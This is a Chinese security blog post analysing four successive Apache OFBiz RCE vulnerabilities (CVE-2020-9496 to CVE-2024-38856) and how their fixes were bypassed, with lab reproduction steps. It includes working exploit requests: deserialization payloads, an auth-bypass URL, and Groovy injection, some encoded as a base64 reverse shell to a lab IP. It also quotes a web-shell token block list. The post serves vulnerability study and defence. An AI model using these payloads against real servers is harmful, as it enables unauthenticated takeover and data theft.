Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

admin 2024年8月13日22:58:02评论47 views字数 13728阅读45分45秒阅读模式

申明:本文仅供技术交流,请自觉遵守网络安全相关法律法规,切勿利用文章内的相关技术从事非法活动,如因此产生的一切不良后果与文章作者无关。

0x00  介绍

OFBiz 是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新J2EE/XML规范和技术标准,构建大中型企业级、跨平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。它还提供了一整套功能,涵盖企业所需的方方面面。除了管理产品及其相关内容(如电子商店)外,Apache OFBiz还能履行许多其它重要角色,包括客户关系管理、项目进度、计费管理、人力资源管理以及订单管理。简而言之,它就是一个企业资源规划器(ERP)。世界上有上千个企业在某方面或多方面依赖于OFBiz。

0x01  CVE-2020-9496

一、漏洞描述

在Apache OFBiz < 17.12.04版本的XMLRPC接口存在一处未授权反序列化漏洞,攻击者利用这个漏洞可以在目标服务器上执行任意命令。

二、漏洞原理

Apache OFBiz的/control下的路径由org.apache.ofbiz.webapp.control.ControlServlet处理,该类又是读取/WEB-INF/controller.xml中的配置来对路径进行相应处理的。当请求路径为webtools/control/xmlrpc时,读取到的配置为:

<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">  <security https="false"/>  <event type="xmlrpc"/>  <response name="error" type="none"/>  <response name="success" type="none"/></request-map>

该接口不需要鉴权(需要的话security标签中会有个auth="true"),对应的事件event为xmlrpc,在处理该事件时会调用XmlRpcRequestParser为解析器对输入的xml进行解析(XML 的参数有其规范),其中 value 中有个参数 serializable,其对应的解析器是 SerializableParser:

public class SerializableParser extends ByteArrayParser {    public Object getResult() throws XmlRpcException {        try {            byte[] res = (byte[]) super.getResult();            ByteArrayInputStream bais = new ByteArrayInputStream(res);            ObjectInputStream ois = new ObjectInputStream(bais);            return ois.readObject();        } catch (IOException e) {            throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e);        } catch (ClassNotFoundException e) {            throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e);        }    }}

可见,其进行了反序列化操作!!!而在其父类ByteArrayParser中会先对接收到的数据进行base64解码。

XML-RPC也是Apache基金会旗下的一个项目,但基本上在2010年前后就不更新了,历史上出现过多个反序列化漏洞(如CVE-2016-5003、CVE-2019-17570),该项目中存在CommonsBeanutils1利用链未被修复。Apache OFBiz由于使用了XML-RPC组件所以受到了影响。

该漏洞的分析过程参考:https://xz.aliyun.com/t/8184

三、漏洞复现

使用vulhub来搭建环境

cd /vulhub/ofbiz/CVE-2020-9496sudo docker compose up -d

访问https://yourip:8443/accounting进入登陆页面:

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

数据包:

POST /webtools/control/xmlrpc HTTP/1.1Host: your-ipContent-Type: application/xmlContent-Length: 4093<?xml version="1.0"?><methodCall>  <methodName>ProjectDiscovery</methodName>  <params>    <param>      <value>        <struct>          <member>            <name>test</name>            <value>              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>            </value>          </member>        </struct>      </value>    </param>  </params></methodCall>

使用ysoserial生成base64-payload:

java -jar ysoserial-all.jar CommonsBeanutils1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}"|base64

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

收到shell:

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

四、漏洞修复

官方通过对XML-RPC这个接口增加认证来进行修复

https://github.com/apache/ofbiz-framework/commit/d708d9afcb3aaae61fc92f5b1b6f14b7374bba76

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

因为XML-RPC不再维护,所以上面的修复代码只是使得原来的“Pre-Auth RCE”变成了“Post-Auth RCE”。2021年10月,一个叫Jie Zhu的人向官方反应了这个“Post-Auth RCE漏洞”,于是官方又进行了二次加固(https://github.com/apache/ofbiz-framework/commit/15c209a475cb50525a6cbd1e24601355c7be1b0a):

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

但该修复可以使用</serializable >进行绕过,官方又修复如下:

https://github.com/apache/ofbiz-framework/commit/fb495637441cfe331943d34ce2d0943bc8c30552

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

后面又对该代码进行了修改,最终的修复代码如下:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {        // Get the request URI without the webapp mount point.        String context = ((HttpServletRequest) request).getContextPath();        String uriWithContext = ((HttpServletRequest) request).getRequestURI();        String uri = uriWithContext.substring(context.length());        if ("/control/xmlrpc".equals(uri.toLowerCase())) {            // Read request.getReader() as many time you need            request = new RequestWrapper((HttpServletRequest) request);            String body = request.getReader().lines().collect(Collectors.joining());            if (body.contains("</serializable")) {                Debug.logError("Content not authorised for security reason", "CacheFilter"); // Cf. OFBIZ-12332                return;            }        }        chain.doFilter(request, response);    }

0x02  CVE-2023-49070

一、漏洞描述

在Apache OFBiz 17.12.03版本及以前存在一处XMLRPC导致的反序列漏洞(CVE-2020-9496),官方于后续的版本中对相关接口进行加固修复漏洞,但该修复方法存在绕过问题(CVE-2023-49070),使得在18.12.10版本之前,攻击者仍然可以利用反序列化漏洞在目标服务器中执行任意命令。

二、漏洞原理

从上文我们可以知道,官方对于CVE-2020-9496的修复主要做了下面两点:

1.对xmlrpc接口进行了认证;

2.请求/control/xmlrpc接口时检测body中是否包含</serializable关键字

在Java中,部分中间件如Tomcat可以通过;的方式可以在路径中增加Matrix Parameters:https://www.baeldung.com/cs/url-matrix-vs-query-parameters

通过使用/webtools/control/xmlrpc;/,可以绕过对</serializable关键字的检测:

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

接下来,就是要绕过认证了。

ofbiz是通过org.apache.ofbiz.webapp.control.LoginWorker#checkLogin来检查用户是否已进行认证的:

    public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {        GenericValue userLogin = checkLogout(request, response);        // have to reget this because the old session object will be invalid        HttpSession session = request.getSession();        String username = null;        String password = null;        String token = null;        if (userLogin == null) {            // check parameters            username = request.getParameter("USERNAME");            password = request.getParameter("PASSWORD");            token = request.getParameter("TOKEN");            // check session attributes            if (username == null) username = (String) session.getAttribute("USERNAME");            if (password == null) password = (String) session.getAttribute("PASSWORD");            if (token == null) token = (String) session.getAttribute("TOKEN");            // in this condition log them in if not already; if not logged in or can't log in, save parameters and return error            if (username == null                    || (password == null && token == null)                    || "error".equals(login(request, response))) {                // make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error                request.removeAttribute("_LOGIN_PASSED_");                ......                return "error";            }        }        ......        return "success";    }

其中有一个关键的判断"error".equals(login(request, response))),当login()函数返回值为error时,进入if语句,认证失败;若不为error认证成功。

看到login()函数相关代码:

    public static String login(HttpServletRequest request, HttpServletResponse response) {        HttpSession session = request.getSession();        // Prevent session fixation by making Tomcat generate a new jsessionId (ultimately put in cookie).         if (!session.isNew()) {  // Only do when really signing in.             request.changeSessionId();        }        Delegator delegator = (Delegator) request.getAttribute("delegator");        String username = request.getParameter("USERNAME");        String password = request.getParameter("PASSWORD");        String token = request.getParameter("TOKEN");        String forgotPwdFlag = request.getParameter("forgotPwdFlag");        ......        if (username == null) username = (String) session.getAttribute("USERNAME");        if (password == null) password = (String) session.getAttribute("PASSWORD");        if (token == null) token = (String) session.getAttribute("TOKEN");        // allow a username and/or password in a request attribute to override the request parameter or the session attribute; this way a preprocessor can play with these a bit...        if (UtilValidate.isNotEmpty(request.getAttribute("USERNAME"))) {            username = (String) request.getAttribute("USERNAME");        }        if (UtilValidate.isNotEmpty(request.getAttribute("PASSWORD"))) {            password = (String) request.getAttribute("PASSWORD");        }        if (UtilValidate.isNotEmpty(request.getAttribute("TOKEN"))) {            token = (String) request.getAttribute("TOKEN");        }        ......        boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange"));        if (!unpwErrMsgList.isEmpty()) {            request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList);            return  requirePasswordChange ? "requirePasswordChange" : "error";        }        ......    }

requirePasswordChange这个参数的值如果等于Y,则返回requirePasswordChange,否则返回error。

而前面的逻辑,只要login(request, response)返回的不是error,则认证成功。

于是只要请求路由为/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y即可绕过对CVE-2020-9496漏洞的修复。

三、漏洞复现

使用vulhub来搭建环境

cd /vulhub/ofbiz/CVE-2023-49070sudo docker compose up -d

访问https://yourip:8443/accounting 出现下面的页面

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

进入容器修改下配置:

//进入指定容器sudo docker exec -it CONTAINER_ID /bin/bash//容器中执行apt-get updateapt-get install vimvim framework/security/config/security.properties  //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.5//退出容器exit//重启容器sudo docker compose restart

访问:

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

数据包:

POST /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: your-ipContent-Type: application/xmlContent-Length: 4093<?xml version="1.0"?><methodCall>  <methodName>ProjectDiscovery</methodName>  <params>    <param>      <value>        <struct>          <member>            <name>test</name>            <value>              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[base64-payload]</serializable>            </value>          </member>        </struct>      </value>    </param>  </params></methodCall>

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

四、漏洞修复

对于该漏洞的修复官方是简单粗暴地删除xmlrpc组件:

https://github.com/apache/ofbiz-framework/commit/c59336f604f503df5b2f7c424fd5e392d5923a27

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

并未对本身逻辑缺陷导致权限绕过进行修复,这也就导致了后面的CVE-2023-51467。

0x03  CVE-2023-51467

一、漏洞描述

由于CVE-2023-49070的不完全修复。在Apache OFBiz 18.12.10版本中,官方移除了可能导致RCE漏洞的XMLRPC组件,但没有修复权限绕过问题。长亭科技的安全研究员利用这一点找到了另一个可以导致RCE的方法:Groovy表达式注入。影响Apache OFBiz < 18.12.11的版本。

二、漏洞原理

存在问题的接口是/webtools/control/ProgramExport,根据配置文件,该接口需要鉴权:

<request-map uri="ProgramExport">    <security https="true" auth="true"/>    <response name="success" type="view" value="ProgramExport"/>    <response name="error" type="view" value="ProgramExport"/></request-map>

使用上面的方法绕过即可,根据ofbiz的路由及其对应处理方法,该接口最终调用webtools/groovyScripts/entity/ProgramExport.groovy来处理:

String groovyProgram = nullrecordValues = []errMsgList = []if (!parameters.groovyProgram) {    groovyProgram = '''// Use the List variable recordValues to fill it with GenericValue maps.// full groovy syntaxt is availableimport org.apache.ofbiz.entity.util.EntityFindOptions// example:// find the first three record in the product entity (if any)EntityFindOptions findOptions = new EntityFindOptions()findOptions.setMaxRows(3)List products = delegator.findList("Product", null, null, null, findOptions, false)if (products != null) {    recordValues.addAll(products)}'''    parameters.groovyProgram = groovyProgram} else {    groovyProgram = parameters.groovyProgram}// Add imports for script.def importCustomizer = new ImportCustomizer()importCustomizer.addImport("org.apache.ofbiz.entity.GenericValue")importCustomizer.addImport("org.apache.ofbiz.entity.model.ModelEntity")def configuration = new CompilerConfiguration()configuration.addCompilationCustomizers(importCustomizer)Binding binding = new Binding()binding.setVariable("delegator", delegator)binding.setVariable("recordValues", recordValues)ClassLoader loader = Thread.currentThread().getContextClassLoader()def shell = new GroovyShell(loader, binding, configuration)if (UtilValidate.isNotEmpty(groovyProgram)) {    try {        if (!org.apache.ofbiz.security.SecuredUpload.isValidText(groovyProgram,["import"])) {            request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason")            return        }        shell.parse(groovyProgram)        shell.evaluate(groovyProgram)        recordValues = shell.getVariable("recordValues")        xmlDoc = GenericValue.makeXmlDocument(recordValues)        context.put("xmlDoc", xmlDoc)        ......}

在执行groovy脚本之前会调用SecuredUpload.isValidText来进行检查:

    public static boolean isValidText(String content, List<String> allowed) throws IOException {        return DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token, allowed));    }

DENIEDWEBSHELLTOKENS来源于配置文件security.properties,具体有:

deniedWebShellTokens=freemarker,import="java,runtime.getruntime().exec(,<%@ page,<script,<body>,<form,php,  javascript,%eval,@eval,import os,passthru,exec,shell_exec,assert,str_rot13,system,phpinfo,base64_decode,chmod,mkdir,  fopen,fclose,new file,import,upload,getfilename,download,getoutputstring,readfile

故而可以使用execute来执行命令。

对于该漏洞的分析可参考:

https://xz.aliyun.com/t/13211

https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/

三、漏洞复现

使用vulhub来搭建环境

cd vulhub/ofbiz/CVE-2023-51467sudo docker compose up -d//进入指定容器sudo docker exec -it CONTAINER_ID /bin/bash//容器中执行apt-get updateapt-get install vimvim framework/security/config/security.properties  //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.5//退出容器exit//重启容器sudo docker compose restart

访问:

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

数据包:

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: youip:8443Content-Type: application/x-www-form-urlencodedContent-Length: 55groovyProgram=throw+new+Exception('id'.execute().text);

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

反弹shell:

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1Host: 10.211.55.5:8443Content-Type: application/x-www-form-urlencodedContent-Length: 55groovyProgram='bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTEuNTUuMy8xMjM0IDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'.execute();

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

四、漏洞修复

从官方的历史提交来看,应该是修改了requirePasswordChange的逻辑,直接返回error

https://github.com/apache/ofbiz-framework/commit/1dcfa071804a5b717b9b579aa44f3a8d39592d55

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

但并未对Groovy表达式注入进行修复,若能绕过验证,还是能进行RCE,这就是CVE-2024-38856

0x04  CVE-2024-38856

一、漏洞描述

Apache OFBiz <= 18.12.14的版本中由于授权不当致代码执行漏洞(CVE-2024-38856),该漏洞允许未经身份验证的远程攻击者通过特定的URL绕过安全检测机制执行恶意代码。攻击者可能利用该漏洞来执行恶意操作,包括但不限于获取敏感信息、修改数据或执行系统命令,最终可导致服务器失陷。

二、漏洞原理

这主要是ofbiz的路由与鉴权问题,详细请看y4tacker的博客:

https://y4tacker.github.io/2024/06/23/year/2024/8/Apache-OFBiz-Authentication-Bypass-CVE-2024-38856/

三、漏洞复现

1.环境搭建

下载OFBiz 18.12.14版本:

wget https://dlcdn.apache.org/ofbiz/apache-ofbiz-18.12.14.zip

安装(需要JDK8+):

unzip apache-ofbiz-18.12.14.zipcd apache-ofbiz-18.12.14.zip./gradle/init-gradle-wrapper.sh./gradlew cleanAll loadAll  //需要等一段时间,我等了十多分钟./gradlew cleanAll "ofbiz --load-data readers=seed,seed-initial" loadAdminUserLogin -PuserLoginId=adminvim framework/security/config/security.properties  //找到host-headers-allowed添加访问时的IP头,我的是10.211.55.6./gradlew ofbiz

然后访问https://yourip:8443/accounting即可

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

2.漏洞复现

数据包如下:

POST /webtools/control/main/ProgramExport HTTP/1.1Host: yourip:8443Content-Type: application/x-www-form-urlencodedContent-Length: 24groovyProgram=u0074u0068u0072u006Fu0077u0020u006Eu0065u0077u0020u0045u0078u0063u0065u0070u0074u0069u006Fu006Eu0028u0027u0077u0068u006Fu0061u006Du0069u0027u002Eu0065u0078u0065u0063u0075u0074u0065u0028u0029u002Eu0074u0065u0078u0074u0029u003B

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

反弹shell:

先对bash -i >& /dev/tcp/ip/port 0>&1进行base64编码,然后再对"bash -c {echo,base64编码}|{base64,-d}|{bash,-i}".execute()进行unicode编码:

Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

参考链接:

https://mp.weixin.qq.com/s/iAvitO6otPdHSu1SjRNX3g

https://github.com/vulhub/vulhub/tree/master/ofbiz

https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/

https://y4tacker.github.io/2024/06/23/year/2024/8/Apache-OFBiz-Authentication-Bypass-CVE-2024-38856/

如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~

原文始发于微信公众号(沃克学安全):Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月13日22:58:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache OFBiz RCE:从CVE-2020-9496到最新CVE-2024-38856http://cn-sec.com/archives/3064252.html

发表评论

匿名网友 填写信息